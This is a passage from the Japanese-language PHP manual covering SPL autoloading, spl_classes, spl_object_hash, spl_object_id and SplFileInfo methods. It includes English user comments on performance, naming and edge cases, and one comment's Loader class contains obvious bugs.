        spl_autoload_register(array($this,'load_library'));

        log_message('debug',"Loader Class Initialized");
    }

    /**
     *-----------------------------------------------------
     * Load Library
     *-----------------------------------------------------
     * Method for load library.
     * This method return class object.
     *
     * @library String
     * @param String
     * @access public
     */
    public function load_library($library, $param = null)
    {
        if (is_string($library)) {
            return $this->initialize_class($library);
        }
        if (is_array($library)) {
            foreach ($library as $key) {
                return $this->initialize_class($library);
            }
        }
    }

    /**
     *-----------------------------------------------------
     * Initialize Class
     *-----------------------------------------------------
     * Method for initialise class
     * This method return new object.
     * This method can initialize more class using (array)
     *
     * @library String|Array
     * @param String
     * @access public
     */
    public function initialize_class($library)
    {
        try {
            if (is_array($library)) {
                foreach($library as $class) {
                    $arrayObject =  new $class;
                }
                return $this;
            }
            if (is_string($library)) {
                $stringObject = new $library;
            }else {
                throw new ISException('Class name must be string.');
            }
            if (null == $library) {
                throw new ISException('You must enter the name of the class.');
            }
        } catch(Exception $exception) {
            echo $exception;
        }
    }

    /**
     * Autoload Controller class
     *
     * @param  string $class
     * @return object
     */

    public function load_controller($controller)
    {
        if ($controller) {
            set_include_path($this->controllerDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

      /**
     * Autoload Model class
     *
     * @param  string $class
     * @return object
     */

    public function load_models($model)
    {
        if ($model) {
            set_include_path($this->modelDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

      /**
     * Autoload Library class
     *
     * @param  string $class
     * @return object
     */

    public function load_library($library)
    {
        if ($library) {
            set_include_path($this->libraryDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

 }

 ?>
Luke Scott 19-Apr-2011 07:03
If you want to make the best use out of autoload with an APC cache don't use spl_autoload. It uses relative paths and thus will perform a stat even with apc.stat=0 (either that, or it doesn't work at all).

Instead make a custom function and use require/include with an absolute path (register it with spl_autoload_register).

Do NOT use *_once functions or a relative path. This will fail harder than spl_autoload.

Also avoid using file_exists and is_file. This will also perform a stat.

Why are stats bad? Because they access the file system. PHP does have a stat cache that helps, but it defeats the purpose of apc.stat = 0.

It's also good to keep in mind that it's good to keep your custom autoload function simple. This is my Loader class:

<?php

class Loader
{
    public static function registerAutoload()
    {
        return spl_autoload_register(array(__CLASS__, 'includeClass'));
    }

    public static function unregisterAutoload()
    {
        return spl_autoload_unregister(array(__CLASS__, 'includeClass'));
    }

    public static function includeClass($class)
    {
        require(PATH . '/' . strtr($class, '_\\', '//') . '.php');
    }
}

?>

Also want to point out that APC does an optimization with require/include (not *_once) with relative paths if require/include is done in the global scope (and isn't conditional). So it would be a good idea to explicitly include files you know you're going to use on every request (but don't use *_once). You could, for example, add a "registerProfiledAutoload" to the above class and keep track of what you're including to help you determine what you could explicitly include (during development, not production). The key is try not to make heavy use out of autoload.

If you must use relative paths and don't care about having to lower-case your file-names then spl_autoload works great.
daniel 05-Jul-2010 07:58
Note this function will LOWERCASE the class names its looking for, dont be confused when it cant find Foo_Bar.php

also, unlike most other autoloader code snippets, this function DOES NOT translate underscores to slashes.

class Foo_Bar {}
will load foo_bar.php and will not try to load foo/bar.php

You can get around this with
spl_autoload_register(function($class) { return spl_autoload(str_replace('_', '/', $class));});
simast at gmail dot com 07-Aug-2009 10:22
Note, that the default autoload implementation is written in C land and is always slightly faster then your native PHP one.

Here is a trick to use default implementation with any configuration:

<?php

    // Your custom class dir
    define('CLASS_DIR', 'class/')

    // Add your class dir to include path
    set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

    // You can use this trick to make autoloader look for commonly used "My.class.php" type filenames
    spl_autoload_extensions('.class.php');

    // Use default autoload implementation
    spl_autoload_register();
?>

This also works with namespaces out of the box. So you can write code like "use My\Name\Object" and it will map to "class/My/Name/Object.class.php" file path!
safak_ozpinar at NOSPAM dot yahoo dot com 25-Sep-2007 07:17
Note that, the orders of file extensions is important for performance. You should make the priority of your favourite file extension higest or use only one extension for your class files. Check out this example:

Some class files:

ClassA.php
<?php class ClassA { var $val = 'Hello from class "ClassA"'; } ?>
ClassB.php
<?php class ClassB { var $val = 'Hello from class "ClassB"'; } ?>
ClassC.php
<?php class ClassC { var $val = 'Hello from class "ClassC"'; } ?>
ClassD.php
<?php class ClassD { var $val = 'Hello from class "ClassD"'; } ?>
ClassE.php
<?php class ClassE { var $val = 'Hello from class "ClassE"'; } ?>

1. Simple:
<?php
// default priority: .inc .php
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 4.2 miliseconds
?>

2. Change priority:
<?php
spl_autoload_extensions('.php,.inc');
// new priority: .php .inc
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 1.4 miliseconds
?>

Or you can use this simple function that runs a bit faster for the extensions with lower priority :)
<?php
function my_autoload($className, $extList='.inc,.php') {
    $ext = explode(',',$extList);
    foreach($ext as $x) {
        $fname = $className.$x;
        if(@file_exists($fname)) {
            require_once($fname);
            return true;
        }
    }
    return false;
}

for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    my_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 2.6 miliseconds
?>
---
Safak Ozpinar - Istanbul University, Computer Engineering


利用可能な SPL クラスを返す

  • ≪ spl_autoload
  • spl_object_hash ≫
  • PHP Manual
  • SPL 関数
  • 利用可能な SPL クラスを返す

spl_classes

(PHP 5, PHP 7)

spl_classes — 利用可能な SPL クラスを返す

説明

spl_classes ( ) : array

この関数は現在利用可能な SPL クラスを配列で返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在利用可能な SPL クラスを配列で返します。

例

例1 spl_classes() の例

<?php

print_r(spl_classes());

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [ArrayObject] => ArrayObject
    [ArrayIterator] => ArrayIterator
    [CachingIterator] => CachingIterator
    [RecursiveCachingIterator] => RecursiveCachingIterator
    [DirectoryIterator] => DirectoryIterator
    [FilterIterator] => FilterIterator
    [LimitIterator] => LimitIterator
    [ParentIterator] => ParentIterator
    [RecursiveDirectoryIterator] => RecursiveDirectoryIterator
    [RecursiveIterator] => RecursiveIterator
    [RecursiveIteratorIterator] => RecursiveIteratorIterator
    [SeekableIterator] => SeekableIterator
    [SimpleXMLIterator] => SimpleXMLIterator
)

User Contributed Notes

There are no user contributed notes for this page.


指定したオブジェクトのハッシュ ID を返す

  • ≪ spl_classes
  • spl_object_id ≫
  • PHP Manual
  • SPL 関数
  • 指定したオブジェクトのハッシュ ID を返す

spl_object_hash

(PHP 5 >= 5.2.0, PHP 7)

spl_object_hash — 指定したオブジェクトのハッシュ ID を返す

説明

spl_object_hash ( object $obj ) : string

この関数は、オブジェクトの一意な識別子を返します。この ID は、 オブジェクトを保存する際のハッシュのキーとして使えます。 また、オブジェクトが破棄されるまでは、オブジェクトを識別するための値としても使えます。 オブジェクトが破棄されると、そのハッシュが他のオブジェクトで再利用されてしまうことがあります。

パラメータ

object

何らかのオブジェクト。

返り値

現在存在する各オブジェクトに固有で、同一オブジェクトに対しては常に同じ値となる文字列を返します。

例

例1 spl_object_hash() の例

<?php
$id = spl_object_hash($object);
$storage[$id] = $object;
?>

注意

注意:

オブジェクトが破壊されるとき、そのハッシュが他のオブジェクトで再利用されてしまうことがあります。

User Contributed Notes

DimeCadmium 18-Jun-2018 03:45
For those who believe this function is misnamed, I would like to direct you to https://en.wikipedia.org/wiki/Hash_function . Also, for those who think it's misnamed and supply a comparison to Python, I would like to direct you to https://docs.python.org/2/library/functions.html#hash which does the same thing as this function. (From Python's data-model docs: "User-defined classes have __cmp__() and __hash__() methods by default; ... x.__hash__() returns a result derived from id(x)." - id(x) returns the memory address of the object.)

The cryptographic hash functions you are familiar with, like MD5 or SHA1, are named hash functions because they have a similar design goal: low chance of collisions.
aa dot vasilenko at gmail dot com 03-Jan-2018 07:21
Please note that since PHP 7.2 there's new function available spl_object_id() which returns int instead of string. It's (supposed to be) more performant. Due to lack of documentation I recommend you reading the PR https://github.com/php/php-src/pull/2611
Hayleu Watson 06-Aug-2017 10:55
The "hash" mentioned in the name of this function refers to the storage structure known as a "hash table", not to any sort of "message digest". The string returned by this function is little more than the object's address in the (hash) table PHP maintains of all existing objects.
Hayley Watson 06-Aug-2017 10:26
The "hash" mentioned in this function is used in the sense of the storage structure known as a "hash table", not in the sense of "message digest".
Hayley Watson 06-Aug-2017 10:26
The "hash" mentioned in this function is used in the sense of the storage structure known as a "hash table", not in the sense of "message digest".
Ulrich Eckhardt 27-Jun-2017 07:56
Calling this a hash is very misleading:

1. This function gives an object identifier (ID), which uniquely identifies the object for its whole lifetime. This is similar to the address of an object in C or the id() function in Python. I'm sure other languages have similar constructs.
2. This is not a hash and has nothing to do with it. A hash takes data and algorithmically reduces that data to some kind of scalar value. The only guarantee is that two equal inputs provide the same output, but not that two different inputs provide different outputs (hint: hash collisions). spl_object_hash() guarantees different outputs for non-identical objects though.
3. As someone mentioned already, this does not look at the content of the object. If you consider the difference between equality and identity, it only allows determining identity. If you serialize and unserialize an object, it will not be identical to its former self, but it will be equal, just to give an example. If you want a key to use in a response cache, using this function on the request is not only useless, because equal requests have different IDs, but possibly even harmful, because when a request object is garbage collected, its ID can be reused.
mjs at beebo dot org 16-May-2013 11:20
Note that given two different objects spl_object_hash() can return values that look very similar, and in fact both the most significant *and* least significant digits are likely to be identical!  e.g. "000000003cc56d770000000007fa48c5" and "000000003cc56d0d0000000007fa48c5".

Therefore (especially if using this function for debugging), you may wish to pass the hash into a cryptographic hash function like md5() to get to facilitate visual comparisons, and make it more likely that the first few or last few digits are unique.

md5("000000003cc56d770000000007fa48c5") -> "619a799747d348fa1caf181a72b65d9f"

md5("000000003cc56d0d0000000007fa48c5") -> "ae964bc912281e7804fe5a88b4546cb2"
planetbeing 05-Jul-2007 04:40
Note that the contents (properties) of the object are NOT hashed by the function, merely its internal handle and handler table pointer. This is sufficient to guarantee that any two objects simultaneously co-residing in memory will have different hashes. Uniqueness is not guaranteed between objects that did not reside in memory simultaneously, for example:

var_dump(spl_object_hash(new stdClass()), spl_object_hash(new stdClass()));

Running this alone will usually generate the same hashes, since PHP reuses the internal handle for the first stdClass after it has been dereferenced and destroyed when it creates the second stdClass.


与えられたオブジェクトを扱う数値オブジェクトを返す

  • ≪ spl_object_hash
  • ファイル操作 ≫
  • PHP Manual
  • SPL 関数
  • 与えられたオブジェクトを扱う数値オブジェクトを返す

spl_object_id

(PHP 7 >= 7.2.0)

spl_object_id — 与えられたオブジェクトを扱う数値オブジェクトを返す

説明

spl_object_id ( object $obj ) : int

この関数は、オブジェクトのユニークな識別子を返します。 このオブジェクトidはオブジェクトが生きている間ユニークです。 オブジェクトがいったん破棄されると、そのidは他のオブジェクトによって再利用されます。 この振る舞いは、spl_object_hash() と似ています。

パラメータ

object

任意のオブジェクト

返り値

現在存在しているそれぞれのオブジェクトの間でユニークで、 かつそれぞれのオブジェクト毎に常に同じ数値の識別子を返します。

例

例1 spl_object_id() の例

<?php
$id = spl_object_id($object);
$storage[$id] = $object;
?>

注意

注意:

オブジェクトが破棄されると、そのidは他のオブジェクトによって再利用されるかもしれません。

User Contributed Notes

Daniel 04-Sep-2020 07:10
Simple example:

<?php
    class Test {}

    $test1 = new Test;
    $test1_id = spl_object_id( $test1 );
    $test2 = new Test;
    $test2_id = spl_object_id( $test2 );

    var_dump( $test1_id === $test2_id );
    var_dump( $test1_id );
    var_dump( $test2_id );
?>

Returns
bool(false)
int(5288)
int(5287)


ファイル操作

目次

  • SplFileInfo
  • SplFileObject
  • SplTempFileObject

SPL にはファイルを扱うためのクラスが用意されています。

User Contributed Notes

There are no user contributed notes for this page.


SplFileInfo クラス

(PHP 5 >= 5.1.2, PHP 7)

はじめに

SplFileInfo クラスは、各ファイルの情報を取得するための上位レベルのオブジェクト指向インターフェイスです。

クラス概要

SplFileInfo {
/* メソッド */
public __construct ( string $file_name )
public getATime ( ) : int
public getBasename ( string $suffix = ? ) : string
public getCTime ( ) : int
public getExtension ( ) : string
public getFileInfo ( string $class_name = ? ) : SplFileInfo
public getFilename ( ) : string
public getGroup ( ) : int
public getInode ( ) : int
public getLinkTarget ( ) : string
public getMTime ( ) : int
public getOwner ( ) : int
public getPath ( ) : string
public getPathInfo ( string $class_name = ? ) : SplFileInfo
public getPathname ( ) : string
public getPerms ( ) : int
public getRealPath ( ) : string
public getSize ( ) : int
public getType ( ) : string
public isDir ( ) : bool
public isExecutable ( ) : bool
public isFile ( ) : bool
public isLink ( ) : bool
public isReadable ( ) : bool
public isWritable ( ) : bool
public openFile ( string $open_mode = "r" , bool $use_include_path = false , resource $context = null ) : SplFileObject
public setFileClass ( string $class_name = "SplFileObject" ) : void
public setInfoClass ( string $class_name = "SplFileInfo" ) : void
public __toString ( ) : string
}

目次

  • SplFileInfo::__construct — 新しい SplFileInfo オブジェクトを作成する
  • SplFileInfo::getATime — ファイルの最終アクセス時刻を取得する
  • SplFileInfo::getBasename — ファイルのベース名を取得する
  • SplFileInfo::getCTime — inode 変更時刻を取得する
  • SplFileInfo::getExtension — ファイルの拡張子を取得する
  • SplFileInfo::getFileInfo — ファイルの SplFileInfo オブジェクトを取得する
  • SplFileInfo::getFilename — ファイル名を取得する
  • SplFileInfo::getGroup — ファイルのグループを取得する
  • SplFileInfo::getInode — ファイルの inode を取得する
  • SplFileInfo::getLinkTarget — リンク先を取得する
  • SplFileInfo::getMTime — 最終変更時刻を取得する
  • SplFileInfo::getOwner — ファイルの所有者を取得する
  • SplFileInfo::getPath — ファイル名を除いたパスを取得する
  • SplFileInfo::getPathInfo — パスの SplFileInfo オブジェクトを取得する
  • SplFileInfo::getPathname — ファイルへのパスを取得する
  • SplFileInfo::getPerms — ファイルのパーミッションを取得する
  • SplFileInfo::getRealPath — ファイルへの絶対パスを取得する
  • SplFileInfo::getSize — ファイルサイズを取得する
  • SplFileInfo::getType — ファイルタイプを取得する
  • SplFileInfo::isDir — ファイルがディレクトリかどうかを調べる
  • SplFileInfo::isExecutable — ファイルが実行可能かどうかを調べる
  • SplFileInfo::isFile — オブジェクトの参照先が通常のファイルであるかどうかを調べる
  • SplFileInfo::isLink — ファイルがリンクであるかどうかを調べる
  • SplFileInfo::isReadable — ファイルが読み込み可能か調べる
  • SplFileInfo::isWritable — エントリが書き込み可能であるかどうかを調べる
  • SplFileInfo::openFile — ファイルの SplFileObject オブジェクトを取得する
  • SplFileInfo::setFileClass — SplFileInfo::openFile で使用するクラスを設定する
  • SplFileInfo::setInfoClass — SplFileInfo::getFileInfo および SplFileInfo::getPathInfo で使用するクラスを設定する
  • SplFileInfo::__toString — ファイルへのパスを文字列で返す

User Contributed Notes

There are no user contributed notes for this page.


新しい SplFileInfo オブジェクトを作成する

  • ≪ SplFileInfo
  • SplFileInfo::getATime ≫
  • PHP Manual
  • SplFileInfo
  • 新しい SplFileInfo オブジェクトを作成する

SplFileInfo::__construct

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::__construct — 新しい SplFileInfo オブジェクトを作成する

説明

public SplFileInfo::__construct ( string $file_name )

file_name で指定したファイル用の新しい SplFileInfo オブジェクトを作成します。 ファイルが存在する必要はなく、また読み込み可能である必要もありません。

パラメータ

file_name

ファイルへのパス。

例

例1 SplFileInfo::__construct() の例

<?php
$info = new SplFileInfo('example.php');
if ($info->isFile()) {
    echo $info->getRealPath();
}
?>

User Contributed Notes

There are no user contributed notes for this page.


ファイルの最終アクセス時刻を取得する

  • ≪ SplFileInfo::__construct
  • SplFileInfo::getBasename ≫
  • PHP Manual
  • SplFileInfo
  • ファイルの最終アクセス時刻を取得する

SplFileInfo::getATime

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getATime — ファイルの最終アクセス時刻を取得する

説明

public SplFileInfo::getATime ( ) : int

ファイルの最終アクセス時刻を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルに最後にアクセスがあった時刻を返します。

エラー / 例外

エラー時に RunTimeException をスローします。

参考

  • fileatime() - ファイルの最終アクセス時刻を取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイルのベース名を取得する

  • ≪ SplFileInfo::getATime
  • SplFileInfo::getCTime ≫
  • PHP Manual
  • SplFileInfo
  • ファイルのベース名を取得する

SplFileInfo::getBasename

(PHP 5 >= 5.2.2, PHP 7)

SplFileInfo::getBasename — ファイルのベース名を取得する

説明

public SplFileInfo::getBasename ( string $suffix = ? ) : string

このメソッドは、ファイルやディレクトリそしてリンクからパス情報を除いたベース名を返します。

警告

SplFileInfo::getBasename() は、ロケールを認識します。 よって、マルチバイト文字が含まれたパスのベース名を正しく返させるためには、 そのパスと一致するロケールを setlocale() 関数で設定しなければなりません。

パラメータ

suffix

返されるベース名から取り除きたい、オプションのサフィックス。

返り値

パス情報を含まないベース名を返します。

例

例1 SplFileInfo::getBasename() の例

<?php
$info = new SplFileInfo('file.txt');
var_dump($info->getBasename());

$info = new SplFileInfo('/path/to/file.txt');
var_dump($info->getBasename());

$info = new SplFileInfo('/path/to/file.txt');
var_dump($info->getBasename('.txt'));
?>

上の例の出力は、 たとえば以下のようになります。

string(8) "file.txt"
string(8) "file.txt"
string(4) "file"

参考

  • SplFileInfo::getFilename() - ファイル名を取得する

User Contributed Notes

glen at pld-linux dot org 13-Mar-2018 07:49
similarly to basename, this method also suffers corruption if filename starts with non-ascii and locale not set to matching charset

$ LC_ALL=C php -r 'var_dump(basename("amb.er")); $fi = new SplFileInfo("am.ber"); var_dump($fi->getBasename());';
string(5) "mb.er"
string(5) "m.ber"

$ LC_ALL=en_US.UTF-8 php -r 'var_dump(basename("amb.er")); $fi = new SplFileInfo("am.ber"); var_dump($fi->getBasename());';
string(7) "amb.er"
string(7) "am.ber"
schuyler dot bos at gmail dot com 27-Dec-2016 10:51
Agreed, this is just silly.  why not make getFileName() just return the string without extension. then, there would be a method to return all the different permutations without having to do weird coding.

getBaseName()
getExtention()
getFileName()

although due to nomenclature it might make more sense to have getBaseName() return the file name without extension, since getFileName() would kinda suggest it has a file extension on it.
adam dot schubert at sg1-game dot net 19-Feb-2016 03:11
If you want to get only filename and dont want to use weird:

<?php
pathinfo($file->getBasename(), PATHINFO_FILENAME);
?>

You can use (also weird but ~better looking):

<?php
$file->getBasename('.'.$file->getExtension());
?>

PS: Why there is getFilename ? when it returns ~same stuff as getBasename ? I have to do this ugly stuff^ instead of simple getFilename...


inode 変更時刻を取得する

  • ≪ SplFileInfo::getBasename
  • SplFileInfo::getExtension ≫
  • PHP Manual
  • SplFileInfo
  • inode 変更時刻を取得する

SplFileInfo::getCTime

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getCTime — inode 変更時刻を取得する

説明

public SplFileInfo::getCTime ( ) : int

ファイルの inode が変更された時刻を返します。返される時刻は Unix タイムスタンプ形式です。

パラメータ

この関数にはパラメータはありません。

返り値

最終変更時刻を Unix タイムスタンプで返します。

エラー / 例外

エラー時に RunTimeException をスローします。

例

例1 SplFileInfo::getCTime() の例

<?php
$info = new SplFileInfo(__FILE__);
echo 'Last changed at ' . date('g:i a', $info->getCTime());
?>

上の例の出力は、 たとえば以下のようになります。

Last changed at 1:49 pm

参考

  • filectime() - ファイルの inode 変更時刻を取得する

User Contributed Notes

michael at smith-li dot com 30-Jun-2014 07:29
A file's ctime is it's inode change time. The inode changes when file metadata changes (for example when file permissions change). The inode also changes whenever the file's contents change, but since the inode changes for other reasons, it's more accurate to use mtime to get the age of the contents of a file. See SPLFileInfo::getMTime

Also, please note ctime is not creation time. (Most UNIX-like filesystems do not record a file's creation time.)


ファイルの拡張子を取得する

  • ≪ SplFileInfo::getCTime
  • SplFileInfo::getFileInfo ≫
  • PHP Manual
  • SplFileInfo
  • ファイルの拡張子を取得する

SplFileInfo::getExtension

(PHP 5 >= 5.3.6, PHP 7)

SplFileInfo::getExtension — ファイルの拡張子を取得する

説明

public SplFileInfo::getExtension ( ) : string

ファイルの拡張子を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの拡張子を含む文字列を返します。 拡張子がないときは、空文字列を返します。

例

例1 SplFileInfo::getExtension() の例

<?php

$info = new SplFileInfo('foo.txt');
var_dump($info->getExtension());

$info = new SplFileInfo('photo.jpg');
var_dump($info->getExtension());

$info = new SplFileInfo('something.tar.gz');
var_dump($info->getExtension());

?>

上の例の出力は以下となります。

string(3) "txt"
string(3) "jpg"
string(2) "gz"

注意

注意:

このメソッドが使えるのは PHP 5.3.6 以降です。 拡張子を取得する別の方法には、 pathinfo() 関数があります。

<?php
$extension = pathinfo($info->getFilename(), PATHINFO_EXTENSION);
?>

参考

  • SplFileInfo::getFilename() - ファイル名を取得する
  • SplFileInfo::getBasename() - ファイルのベース名を取得する
  • pathinfo() - ファイルパスに関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


ファイルの SplFileInfo オブジェクトを取得する

  • ≪ SplFileInfo::getExtension
  • SplFileInfo::getFilename ≫
  • PHP Manual
  • SplFileInfo
  • ファイルの SplFileInfo オブジェクトを取得する

SplFileInfo::getFileInfo

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getFileInfo — ファイルの SplFileInfo オブジェクトを取得する

説明

public SplFileInfo::getFileInfo ( string $class_name = ? ) : SplFileInfo

このメソッドは、参照先のファイルの SplFileInfo オブジェクトを取得します。

パラメータ

class_name

使用したい SplFileInfo 派生クラスの名前。

返り値

そのファイル用に作成した SplFileInfo オブジェクトを返します。

参考

  • SplFileInfo::setInfoClass() - SplFileInfo::getFileInfo および SplFileInfo::getPathInfo で使用するクラスを設定する

User Contributed Notes

There are no user contributed notes for this page.


ファイル名を取得する

  • ≪ SplFileInfo::getFileInfo
  • SplFileInfo::getGroup ≫
  • PHP Manual
  • SplFileInfo
  • ファイル名を取得する

SplFileInfo::getFilename

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getFilename — ファイル名を取得する

説明

public SplFileInfo::getFilename ( ) : string

パス情報を一切含まないファイル名を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイル名を返します。

例

例1 SplFileInfo::getFilename() の例

<?php
$info = new SplFileInfo('foo.txt');
var_dump($info->getFilename());

$info = new SplFileInfo('/path/to/foo.txt');
var_dump($info->getFilename());

$info = new SplFileInfo('http://www.php.net/');
var_dump($info->getFilename());

$info = new SplFileInfo('http://www.php.net/svn.php');
var_dump($info->getFilename());
?>

上の例の出力は、 たとえば以下のようになります。

string(7) "foo.txt"
string(7) "foo.txt"
string(0) ""
string(7) "svn.php"

参考

  • SplFileInfo::getBasename() - ファイルのベース名を取得する

User Contributed Notes

khalidhameedkht at gmail dot com 14-Dec-2016 12:06
// Careful, output is different for `filename` vs `getFilename`. Inconsistent behaviour.

$path = 'test.txt';

$pathInfo = pathinfo($path);
echo '<pre>';
print_r($pathInfo);

echo '<br>';
echo '***************';

$splFileInfo = new SplFileInfo($path);
echo '<br>';
echo $splFileInfo->getBasename();

echo '<br>';
echo $splFileInfo->getFilename();
Alex Russell 28-Sep-2015 03:39
I was trying to work out the difference between this and getBasename (http://php.net/manual/splfileinfo.getbasename.php) and the only difference I could really see was a special case of a file in the filesystem root with the root specified:

<?php
function getInfo($reference)
{
    $file = new SplFileInfo($reference);

    var_dump($file->getFilename());
    var_dump($file->getBasename());
}

$test = [
    '/path/to/file.txt',
    '/path/to/file',
    '/path/to/',
    'path/to/file.txt',
    'path/to/file',
    'file.txt',
    '/file.txt',
    '/file',
];

foreach ($test as $file) {
    getInfo($file);
}

// will return:
/*
string(8) "file.txt"
string(8) "file.txt"

string(4) "file"
string(4) "file"

string(2) "to"
string(2) "to"

string(8) "file.txt"
string(8) "file.txt"

string(4) "file"
string(4) "file"

string(8) "file.txt"
string(8) "file.txt"

string(9) "/file.txt" // see how getFilename includes the '/'
string(8) "file.txt"  // but getBasename doesn't

string(5) "/file"     // ditto getFilename
string(4) "file"      // ditto getBasename
*/

?>
wloske at yahoo dot de 19-Oct-2009 09:12
It should be mentioned that the function returns the name of the directory if "filename" is of type "directory". Hence

<?php
$info = new SplFileInfo('/path/to/');
var_dump($info->getFilename());
?>

should return "to"

The function name is kind of misleading here and I am glad to have it tried.


ファイルのグループを取得する

  • ≪ SplFileInfo::getFilename
  • SplFileInfo::getInode ≫
  • PHP Manual
  • SplFileInfo
  • ファイルのグループを取得する

SplFileInfo::getGroup

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getGroup — ファイルのグループを取得する

説明

public SplFileInfo::getGroup ( ) : int

ファイルのグループを取得します。グループ ID を数値形式で返します。

パラメータ

この関数にはパラメータはありません。

返り値

グループ ID を数値形式で返します。

エラー / 例外

エラー時に RuntimeException をスローします。

例

例1 SplFileInfo::getGroup() の例

<?php
$info = new SplFileInfo(__FILE__);
print_r(posix_getgrgid($info->getGroup()));
?>

上の例の出力は、 たとえば以下のようになります。

参考

  • posix_getgrgid() - 指定したグループ ID を有するグループに関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


ファイルの inode を取得する

  • ≪ SplFileInfo::getGroup
  • SplFileInfo::getLinkTarget ≫
  • PHP Manual
  • SplFileInfo
  • ファイルの inode を取得する

SplFileInfo::getInode

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getInode — ファイルの inode を取得する

説明

public SplFileInfo::getInode ( ) : int

ファイルシステムオブジェクトの inode 番号を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルシステムオブジェクトの inode 番号を返します。

エラー / 例外

エラー時に RuntimeException をスローします。

参考

  • fileinode() - ファイルの inode を取得する

User Contributed Notes

sander at webpirates dot nl 12-Jun-2009 02:03
Question raised on DPC2009: What does getInode() return on windows? Answer: int 0.


リンク先を取得する

  • ≪ SplFileInfo::getInode
  • SplFileInfo::getMTime ≫
  • PHP Manual
  • SplFileInfo
  • リンク先を取得する

SplFileInfo::getLinkTarget

(PHP 5 >= 5.2.2, PHP 7)

SplFileInfo::getLinkTarget — リンク先を取得する

説明

public SplFileInfo::getLinkTarget ( ) : string

ファイルシステムのリンク先を取得します。

注意:

リンク先は、ファイルシステム上の実際のパスではないかもしれません。 SplFileInfo::getRealPath() を使用して、ファイルシステム上の実際のパスを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルシステムのリンク先を返します。

エラー / 例外

エラー時に RuntimeException をスローします。

例

例1 SplFileInfo::getLinkTarget() の例

<?php
$info = new SplFileInfo('/Users/bbieber/workspace');
if ($info->isLink()) {
    var_dump($info->getLinkTarget());
    var_dump($info->getRealPath());
}
?>

上の例の出力は、 たとえば以下のようになります。

string(19) "Documents/workspace"
string(34) "/Users/bbieber/Documents/workspace"

参考

  • SplFileInfo::isLink() - ファイルがリンクであるかどうかを調べる
  • SplFileInfo::getRealPath() - ファイルへの絶対パスを取得する

User Contributed Notes

There are no user contributed notes for this page.


最終変更時刻を取得する

  • ≪ SplFileInfo::getLinkTarget
  • SplFileInfo::getOwner ≫
  • PHP Manual
  • SplFileInfo
  • 最終変更時刻を取得する

SplFileInfo::getMTime

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getMTime — 最終変更時刻を取得する

説明

public SplFileInfo::getMTime ( ) : int

ファイルの中身が変更された時刻を返します。返される時刻は Unix タイムスタンプ形式となります。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの最終変更時刻を Unix タイムスタンプで返します。

参考

  • filemtime() - ファイルの更新時刻を取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイルの所有者を取得する

  • ≪ SplFileInfo::getMTime
  • SplFileInfo::getPath ≫
  • PHP Manual
  • SplFileInfo
  • ファイルの所有者を取得する

SplFileInfo::getOwner

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getOwner — ファイルの所有者を取得する

説明

public SplFileInfo::getOwner ( ) : int

ファイルの所有者を取得します。オーナー ID は数値形式で返されます。

パラメータ

この関数にはパラメータはありません。

返り値

オーナー ID を数値形式で返します。

エラー / 例外

エラー時に RuntimeException をスローします。

例

例1 SplFileInfo::getOwner() の例

<?php
$info = new SplFileInfo('file.txt');
print_r(posix_getpwuid($info->getOwner()));
?>

参考

  • posix_getpwuid() - 指定 ID のユーザーに関する情報を返す
  • SplFileInfo::getGroup() - ファイルのグループを取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイル名を除いたパスを取得する

  • ≪ SplFileInfo::getOwner
  • SplFileInfo::getPathInfo ≫
  • PHP Manual
  • SplFileInfo
  • ファイル名を除いたパスを取得する

SplFileInfo::getPath

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getPath — ファイル名を除いたパスを取得する

説明

public SplFileInfo::getPath ( ) : string

ファイルへのパスを返します。ファイル名や最後のスラッシュは取り除きます。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルへのパスを返します。

例

例1 SplFileInfo::getPath() の例

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->getPath());

$info = new SplFileInfo('/usr/');
var_dump($info->getPath());?>

上の例の出力は、 たとえば以下のようになります。

string(8) "/usr/bin"
string(4) "/usr"

参考

  • SplFileInfo::getRealPath() - ファイルへの絶対パスを取得する
  • SplFileInfo::getFilename() - ファイル名を取得する
  • SplFileInfo::getPathInfo() - パスの SplFileInfo オブジェクトを取得する

User Contributed Notes

There are no user contributed notes for this page.


パスの SplFileInfo オブジェクトを取得する

  • ≪ SplFileInfo::getPath
  • SplFileInfo::getPathname ≫
  • PHP Manual
  • SplFileInfo
  • パスの SplFileInfo オブジェクトを取得する

SplFileInfo::getPathInfo

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getPathInfo — パスの SplFileInfo オブジェクトを取得する

説明

